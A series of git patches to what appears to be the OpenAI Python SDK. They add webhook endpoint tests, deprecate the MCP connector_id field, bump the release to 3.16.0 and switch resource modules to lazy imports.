+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(AsyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(AsyncCursorPage[WebhookEndpoint], webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.delete(
+ "whe_123",
+ )
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.delete(
+ "whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.delete(
+ "whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(DeletedWebhookEndpoint, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ await async_client.webhooks.with_raw_response.delete(
+ "",
+ )
+
+ @parametrize
+ async def test_method_rotate_secret(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ async def test_method_rotate_secret_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ keep_old_secret_active_for_24_hours=True,
+ )
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_rotate_secret(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_rotate_secret(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.rotate_secret(
+ webhook_endpoint_id="whe_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(WebhookEndpointWithSecret, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_rotate_secret(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ await async_client.webhooks.with_raw_response.rotate_secret(
+ webhook_endpoint_id="",
+ )
+
+ @parametrize
+ async def test_method_test(self, async_client: AsyncOpenAI) -> None:
+ webhook = await async_client.webhooks.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ )
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ @parametrize
+ async def test_raw_response_test(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.with_raw_response.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ webhook = response.parse()
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_test(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.with_streaming_response.test(
+ webhook_endpoint_id="whe_123",
+ event_type="batch.completed",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ webhook = await response.parse()
+ assert_matches_type(WebhookEndpointTestResult, webhook, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_test(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `webhook_endpoint_id` but received ''"):
+ await async_client.webhooks.with_raw_response.test(
+ webhook_endpoint_id="",
+ event_type="batch.completed",
+ )
diff --git a/tests/api_resources/webhooks/test_event_types.py b/tests/api_resources/webhooks/test_event_types.py
new file mode 100644
index 0000000000..78dea77cad
--- /dev/null
+++ b/tests/api_resources/webhooks/test_event_types.py
@@ -0,0 +1,74 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.types.webhooks import WebhookEventTypeList
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestEventTypes:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ event_type = client.webhooks.event_types.list()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.webhooks.event_types.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ event_type = response.parse()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.webhooks.event_types.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ event_type = response.parse()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+
+class TestAsyncEventTypes:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ event_type = await async_client.webhooks.event_types.list()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.webhooks.event_types.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ event_type = response.parse()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.webhooks.event_types.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ event_type = await response.parse()
+ assert_matches_type(WebhookEventTypeList, event_type, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
diff --git a/tests/lib/test_webhook_endpoint_with_secret.py b/tests/lib/test_webhook_endpoint_with_secret.py
new file mode 100644
index 0000000000..9ac0c77952
--- /dev/null
+++ b/tests/lib/test_webhook_endpoint_with_secret.py
@@ -0,0 +1,33 @@
+import json
+
+import pytest
+
+from openai._models import validate_type, construct_type
+from openai.types.webhooks import WebhookEndpointWithSecret
+
+
+@pytest.mark.parametrize("strict", [False, True], ids=["loose", "strict"])
+def test_signing_secret_is_hidden_from_representations(strict: bool) -> None:
+ secret = "whsec_fake_representation_regression_test"
+ payload = {
+ "id": "we_test",
+ "created_at": 1,
+ "event_types": ["response.completed"],
+ "name": "Test endpoint",
+ "object": "webhook_endpoint",
+ "signing_secret": secret,
+ "signing_secret_hint": "masked",
+ "url": "https://example.com/webhooks",
+ }
+ factory = validate_type if strict else construct_type
+ endpoint = factory(type_=WebhookEndpointWithSecret, value=payload)
+ assert isinstance(endpoint, WebhookEndpointWithSecret)
+
+ for rendered in (repr(endpoint), str(endpoint), repr([endpoint])):
+ assert secret not in rendered
+ assert "we_test" in rendered
+ assert "masked" in rendered
+
+ assert endpoint.signing_secret == secret
+ assert endpoint.to_dict()["signing_secret"] == secret
+ assert json.loads(endpoint.to_json())["signing_secret"] == secret
From 1ccaf07fb9a4d1a2be9d97c77604ce75214a9940 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Fri, 18 Sep 2026 06:00:35 +0000
Subject: [PATCH 166/341] chore(api): deprecate MCP connector_id (#3894)
## Summary
Updates MCP tool documentation with deprecation guidance for models
released after September 1, 2026.
## Changes
- Document the connector_id deprecation in Responses, beta Responses,
and Realtime MCP tool types.
- Recommend server_url for remote MCP servers or tunnel_id for Secure
MCP Tunnels.
- Keep the existing connector field, supported values, and
request/response behavior available.
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 10 ++++++++++
src/openai/types/beta/beta_tool.py | 4 ++++
src/openai/types/beta/beta_tool_param.py | 4 ++++
.../realtime/realtime_response_create_mcp_tool.py | 4 ++++
.../realtime_response_create_mcp_tool_param.py | 4 ++++
.../realtime/realtime_session_create_response.py | 4 ++++
.../types/realtime/realtime_tools_config_param.py | 4 ++++
.../types/realtime/realtime_tools_config_union.py | 4 ++++
.../realtime/realtime_tools_config_union_param.py | 4 ++++
src/openai/types/responses/tool.py | 4 ++++
src/openai/types/responses/tool_param.py | 4 ++++
12 files changed, 56 insertions(+), 6 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index df467645d6..fa4ce905d3 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 69ad6cd7-573b-40b7-9762-941138a594fa
-openapi_spec_hash: 5866548478ad740b94e91012426f5fd9
-openapi_transformed_spec_hash: d8c09e5cfd1b7c8748feee9c5917f482
+generation_id: 5ca8ce21-7fe9-4009-836d-1c94c1c1e116
+openapi_spec_hash: 9530fc18efeeb0be58821616af20494d
+openapi_transformed_spec_hash: bcd481fc6089377839837e55cdfa80cc
config_hash: 487f26152d0893506c0e0d1060441bd0
-codegen_sha: 3f38eecec718649bc81c416d513e1acb655a6d03
-codegen_hash: d3e2ebd89f88df3bc867b3f32cf7704168742fd26a59b9be459b654c1efefba7
-public_codegen_sha: 76d657bf37cecfc8aedbe9f0e495b57b79caaa2e
+codegen_sha: da44ef0149596e5412c15e70836dd015824a9a90
+codegen_hash: 838f201dfcf9313561fe25f2783c231d707b30a12cf93d0e54aec3687399b0ea
+public_codegen_sha: 8b18351582d0b9a4c85a147b4e8769630610fdeb
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 5b4420560b..a22f1dbb9d 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -44340,6 +44340,7 @@ components:
`tunnel_id` must be provided.
connector_id:
type: string
+ deprecated: true
enum:
- connector_dropbox
- connector_gmail
@@ -44354,6 +44355,10 @@ components:
`server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026.
+ Use `server_url` to connect to a remote MCP server, or `tunnel_id` to
+ connect through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
@@ -84014,6 +84019,7 @@ components:
`tunnel_id` must be provided.
connector_id:
type: string
+ deprecated: true
enum:
- connector_dropbox
- connector_gmail
@@ -84028,6 +84034,10 @@ components:
`server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026.
+ Use `server_url` to connect to a remote MCP server, or `tunnel_id` to
+ connect through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index 6bf6807f7b..60f52730cf 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -148,6 +148,10 @@ class Mcp(BaseModel):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index 0ea63e62ed..bddb4bbb52 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -147,6 +147,10 @@ class Mcp(TypedDict, total=False):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool.py b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
index 49ca282abc..76f6c229bc 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
@@ -125,6 +125,10 @@ class RealtimeResponseCreateMcpTool(BaseModel):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
index 4545e188ff..41a02bdff2 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
@@ -125,6 +125,10 @@ class RealtimeResponseCreateMcpToolParam(TypedDict, total=False):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_session_create_response.py b/src/openai/types/realtime/realtime_session_create_response.py
index 8d1b6dc4ec..fee2b2e2f0 100644
--- a/src/openai/types/realtime/realtime_session_create_response.py
+++ b/src/openai/types/realtime/realtime_session_create_response.py
@@ -347,6 +347,10 @@ class ToolMcpTool(BaseModel):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_tools_config_param.py b/src/openai/types/realtime/realtime_tools_config_param.py
index 3904e0a068..4e7fc1d08b 100644
--- a/src/openai/types/realtime/realtime_tools_config_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_param.py
@@ -128,6 +128,10 @@ class Mcp(TypedDict, total=False):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_tools_config_union.py b/src/openai/types/realtime/realtime_tools_config_union.py
index 74981702f0..fece641a55 100644
--- a/src/openai/types/realtime/realtime_tools_config_union.py
+++ b/src/openai/types/realtime/realtime_tools_config_union.py
@@ -128,6 +128,10 @@ class Mcp(BaseModel):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/realtime/realtime_tools_config_union_param.py b/src/openai/types/realtime/realtime_tools_config_union_param.py
index 9f9498c408..5a0835288d 100644
--- a/src/openai/types/realtime/realtime_tools_config_union_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_union_param.py
@@ -127,6 +127,10 @@ class Mcp(TypedDict, total=False):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index a01ae75018..48eb40bd27 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -153,6 +153,10 @@ class Mcp(BaseModel):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index b529603428..de100c8f45 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -153,6 +153,10 @@ class Mcp(TypedDict, total=False):
about service connectors
[here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+ This field is deprecated for models released after September 1, 2026. Use
+ `server_url` to connect to a remote MCP server, or `tunnel_id` to connect
+ through a Secure MCP Tunnel.
+
Currently supported `connector_id` values are:
- Dropbox: `connector_dropbox`
From dcbd6b8f5c26bc09899a584158729b5b67ba7dc6 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 18 Sep 2026 14:48:04 +0000
Subject: [PATCH 167/341] release: 3.16.0 (#3893)
Automated Release PR
---
##
[3.16.0](https://github.com/openai/openai-python/compare/v3.15.0...v3.16.0)
(2026-09-18)
### Features
* **api:** add webhook endpoint management
([#3892](https://github.com/openai/openai-python/issues/3892))
([9a11f6e](https://github.com/openai/openai-python/commit/9a11f6e874292230633073fb64ea6202ad22a1df))
### Chores
* **api:** deprecate MCP connector_id
([#3894](https://github.com/openai/openai-python/issues/3894))
([1ccaf07](https://github.com/openai/openai-python/commit/1ccaf07fb9a4d1a2be9d97c77604ce75214a9940))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 12 ++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 4336a6cb3d..2c220f1b67 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.15.0"
+ ".": "3.16.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 9dfe3fc893..bb31f17df5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,17 @@
# Changelog
+## [3.16.0](https://github.com/openai/openai-python/compare/v3.15.0...v3.16.0) (2026-09-18)
+
+
+### Features
+
+* **api:** add webhook endpoint management ([#3892](https://github.com/openai/openai-python/issues/3892)) ([9a11f6e](https://github.com/openai/openai-python/commit/9a11f6e874292230633073fb64ea6202ad22a1df))
+
+
+### Chores
+
+* **api:** deprecate MCP connector_id ([#3894](https://github.com/openai/openai-python/issues/3894)) ([1ccaf07](https://github.com/openai/openai-python/commit/1ccaf07fb9a4d1a2be9d97c77604ce75214a9940))
+
## [3.15.0](https://github.com/openai/openai-python/compare/v3.14.1...v3.15.0) (2026-09-18)
diff --git a/pyproject.toml b/pyproject.toml
index f3046a56c1..01f573b765 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.15.0"
+version = "3.16.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 8be6105968..9c6c33f3d6 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.15.0" # x-release-please-version
+__version__ = "3.16.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index f17453ecf0..0d2ac62617 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.15.0" # x-release-please-version
+version = "3.16.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 68e4317aa3df4b6e7a5ea3f75833bdd7d76e447d Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Fri, 18 Sep 2026 18:26:21 +0000
Subject: [PATCH 168/341] fix(api): avoid loading unrelated API resources on
first use (#3898)
Importing the SDK or accessing one API resource currently loads
unrelated resources, including Assistants. Load resource exports and
streaming helpers when first accessed to reduce startup work.
Existing import paths, class identity, static typing, wildcard imports,
and discovery are preserved. Code that inspects module dictionaries
directly may observe exports appearing later; import work and import
errors move to first access.
Regression tests cover import isolation, public exports, runtime
annotations, pickling, reloads, sync/async requests and streams, and
concurrent first access. Endpoint methods, models, dependencies, and
webhook behavior are unchanged.
Validation: 682 focused tests passed (14 skipped), along with Mypy,
Pyright, and Ruff. Python 3.10/3.14, HTTPX2, build, lint, and baseline
checks passed on the final revision. End-to-end testing also passed.
Co-authored-by: marcuswood-oai <323319819+marcuswood-oai@users.noreply.github.com>
---
.castiron.stats.yml | 8 +-
src/openai/__init__.py | 25 +-
src/openai/lib/streaming/__init__.py | 42 +-
src/openai/resources/__init__.py | 498 ++++++++++++------
src/openai/resources/admin/__init__.py | 72 ++-
.../resources/admin/organization/__init__.py | 325 ++++++++----
.../admin/organization/groups/__init__.py | 95 +++-
.../admin/organization/projects/__init__.py | 337 ++++++++----
.../organization/projects/groups/__init__.py | 72 ++-
.../projects/service_accounts/__init__.py | 72 ++-
.../organization/projects/users/__init__.py | 72 ++-
.../admin/organization/users/__init__.py | 72 ++-
src/openai/resources/audio/__init__.py | 118 +++--
src/openai/resources/beta/__init__.py | 164 ++++--
src/openai/resources/beta/agents/__init__.py | 118 +++--
.../beta/agents/environments/__init__.py | 95 +++-
.../beta/agents/sessions/__init__.py | 164 ++++--
.../agents/sessions/subagents/__init__.py | 95 +++-
.../sessions/subagents/turns/__init__.py | 72 ++-
.../resources/beta/agents/vaults/__init__.py | 72 ++-
src/openai/resources/beta/chatkit/__init__.py | 95 +++-
.../resources/beta/responses/__init__.py | 95 +++-
src/openai/resources/beta/threads/__init__.py | 95 +++-
.../resources/beta/threads/runs/__init__.py | 72 ++-
src/openai/resources/chat/__init__.py | 72 ++-
.../resources/chat/completions/__init__.py | 72 ++-
src/openai/resources/containers/__init__.py | 72 ++-
.../resources/containers/files/__init__.py | 72 ++-
.../resources/conversations/__init__.py | 72 ++-
src/openai/resources/evals/__init__.py | 72 ++-
src/openai/resources/evals/runs/__init__.py | 72 ++-
src/openai/resources/fine_tuning/__init__.py | 118 +++--
.../resources/fine_tuning/alpha/__init__.py | 72 ++-
.../fine_tuning/checkpoints/__init__.py | 72 ++-
.../resources/fine_tuning/jobs/__init__.py | 72 ++-
src/openai/resources/live/__init__.py | 88 +++-
src/openai/resources/realtime/__init__.py | 95 +++-
src/openai/resources/responses/__init__.py | 95 +++-
src/openai/resources/safety/__init__.py | 72 ++-
src/openai/resources/skills/__init__.py | 95 +++-
.../resources/skills/versions/__init__.py | 72 ++-
src/openai/resources/uploads/__init__.py | 72 ++-
.../resources/vector_stores/__init__.py | 95 +++-
tests/test_lazy_imports.py | 239 +++++++++
44 files changed, 3536 insertions(+), 1170 deletions(-)
create mode 100644 tests/test_lazy_imports.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index fa4ce905d3..e27d8c0982 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 5ca8ce21-7fe9-4009-836d-1c94c1c1e116
+generation_id: 84d5b19e-e118-402a-940c-00134d57a039
openapi_spec_hash: 9530fc18efeeb0be58821616af20494d
openapi_transformed_spec_hash: bcd481fc6089377839837e55cdfa80cc
config_hash: 487f26152d0893506c0e0d1060441bd0
-codegen_sha: da44ef0149596e5412c15e70836dd015824a9a90
-codegen_hash: 838f201dfcf9313561fe25f2783c231d707b30a12cf93d0e54aec3687399b0ea
-public_codegen_sha: 8b18351582d0b9a4c85a147b4e8769630610fdeb
+codegen_sha: 136c93db5472eb81849571ca9059367e650ef723
+codegen_hash: 0a9ede8d6058e352650cb2411de35dc1509646d728f9a94c78531c177508d37e
+public_codegen_sha: 2fbff3f92f139fde3a75d38e399be22ad19afe04
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index d835529204..e4ee6addff 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -108,10 +108,27 @@
from .lib.azure import AzureOpenAI as AzureOpenAI, AsyncAzureOpenAI as AsyncAzureOpenAI
from .lib.bedrock import BedrockOpenAI as BedrockOpenAI, AsyncBedrockOpenAI as AsyncBedrockOpenAI
from .lib._old_api import *
-from .lib.streaming import (
- AssistantEventHandler as AssistantEventHandler,
- AsyncAssistantEventHandler as AsyncAssistantEventHandler,
-)
+
+if _t.TYPE_CHECKING:
+ from .lib.streaming import (
+ AssistantEventHandler as AssistantEventHandler,
+ AsyncAssistantEventHandler as AsyncAssistantEventHandler,
+ )
+else:
+ _STREAMING_EXPORTS = ("AssistantEventHandler", "AsyncAssistantEventHandler")
+
+ def __getattr__(name: str) -> _t.Any:
+ if name in _STREAMING_EXPORTS:
+ from importlib import import_module
+
+ value = getattr(import_module(".lib.streaming", __name__), name)
+ globals()[name] = value
+ return value
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_STREAMING_EXPORTS))
+
_setup_logging()
diff --git a/src/openai/lib/streaming/__init__.py b/src/openai/lib/streaming/__init__.py
index eb378d2561..3d0a782861 100644
--- a/src/openai/lib/streaming/__init__.py
+++ b/src/openai/lib/streaming/__init__.py
@@ -1,8 +1,34 @@
-from ._assistants import (
- AssistantEventHandler as AssistantEventHandler,
- AssistantEventHandlerT as AssistantEventHandlerT,
- AssistantStreamManager as AssistantStreamManager,
- AsyncAssistantEventHandler as AsyncAssistantEventHandler,
- AsyncAssistantEventHandlerT as AsyncAssistantEventHandlerT,
- AsyncAssistantStreamManager as AsyncAssistantStreamManager,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from ._assistants import (
+ AssistantEventHandler as AssistantEventHandler,
+ AssistantEventHandlerT as AssistantEventHandlerT,
+ AssistantStreamManager as AssistantStreamManager,
+ AsyncAssistantEventHandler as AsyncAssistantEventHandler,
+ AsyncAssistantEventHandlerT as AsyncAssistantEventHandlerT,
+ AsyncAssistantStreamManager as AsyncAssistantStreamManager,
+ )
+else:
+
+ def __getattr__(name: str) -> _t.Any:
+ if name in __all__:
+ from importlib import import_module
+
+ value = getattr(import_module("._assistants", __name__), name)
+ globals()[name] = value
+ return value
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(__all__))
+
+
+__all__ = [
+ "AssistantEventHandler",
+ "AssistantEventHandlerT",
+ "AssistantStreamManager",
+ "AsyncAssistantEventHandler",
+ "AsyncAssistantEventHandlerT",
+ "AsyncAssistantStreamManager",
+]
diff --git a/src/openai/resources/__init__.py b/src/openai/resources/__init__.py
index 82b7c60739..8bb98ed991 100644
--- a/src/openai/resources/__init__.py
+++ b/src/openai/resources/__init__.py
@@ -1,165 +1,343 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .beta import (
- Beta,
- AsyncBeta,
- BetaWithRawResponse,
- AsyncBetaWithRawResponse,
- BetaWithStreamingResponse,
- AsyncBetaWithStreamingResponse,
-)
-from .chat import (
- Chat,
- AsyncChat,
- ChatWithRawResponse,
- AsyncChatWithRawResponse,
- ChatWithStreamingResponse,
- AsyncChatWithStreamingResponse,
-)
-from .admin import (
- Admin,
- AsyncAdmin,
- AdminWithRawResponse,
- AsyncAdminWithRawResponse,
- AdminWithStreamingResponse,
- AsyncAdminWithStreamingResponse,
-)
-from .audio import (
- Audio,
- AsyncAudio,
- AudioWithRawResponse,
